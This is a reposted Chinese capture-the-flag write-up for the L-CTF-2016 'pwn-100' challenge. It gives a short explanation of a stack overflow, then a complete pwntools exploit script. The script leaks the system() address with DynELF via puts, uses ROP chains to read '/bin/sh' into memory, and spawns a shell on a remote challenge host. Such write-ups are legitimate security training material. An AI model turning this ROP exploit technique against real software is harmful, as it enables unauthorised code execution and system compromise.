ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

pwn-100

2021-08-15 22:02:08  阅读:194  来源: 互联网

标签:addr system pop io pwn 100 payload p64


题目来源: L-CTF-2016

题目描述:暂无

 

 

题目存在栈溢出,未给libc,但是有puts,因此可以考虑DynELF获取system地址之后,用read读入"/bin/sh"之后获取shell

注意点是,每次要回到main函数,这样能调整栈帧,否则可能会出现诸如environ被更改导致无法成功shell的问题

exp如下:

from pwn import *

puts_addr = 0x400500
read_addr = 0x400520
main_addr = 0x4006B8
goal_addr = 0x601100
pop_rdi = 0x400763
pop_rsi_r15 = 0x400761

def leak(address):
    payload = b'a' * 72 + p64(pop_rdi) + p64(address) + p64(puts_addr)
    payload += p64(main_addr)
    payload = payload.ljust(200, b'\x90')
    io.send(payload)
    io.recvuntil('bye~\n')
    data = b''
    last = b''
    while True:
        now = io.recv(1, timeout = 0.2)
        if last == b'\n' and now == b'':
            data = data[:-1]
            data += b'\x00'
            break
        else:
            data += now
        last = now
    return data

#io = process('./pwn')
io = remote('111.200.241.244', 53187)
d = DynELF(leak, elf = ELF('./pwn'))
system_addr = d.lookup('system', 'libc')
info("system:" + str(hex(system_addr)))

payload = b'a' * 72 + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(goal_addr)
payload += p64(0) + p64(read_addr) + p64(main_addr)
payload = payload.ljust(200, b'\x90')
io.send(payload)
io.recvuntil('bye~\n')
io.send(b'/bin/sh\x00')
payload = b'a' * 72 + p64(pop_rdi) + p64(goal_addr)
payload += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(system_addr)
payload = payload.ljust(200, b'\x90')
sleep(0.5)

io.send(payload)

io.interactive()

 

标签:addr,system,pop,io,pwn,100,payload,p64
来源: https://www.cnblogs.com/hktk1643/p/15145265.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有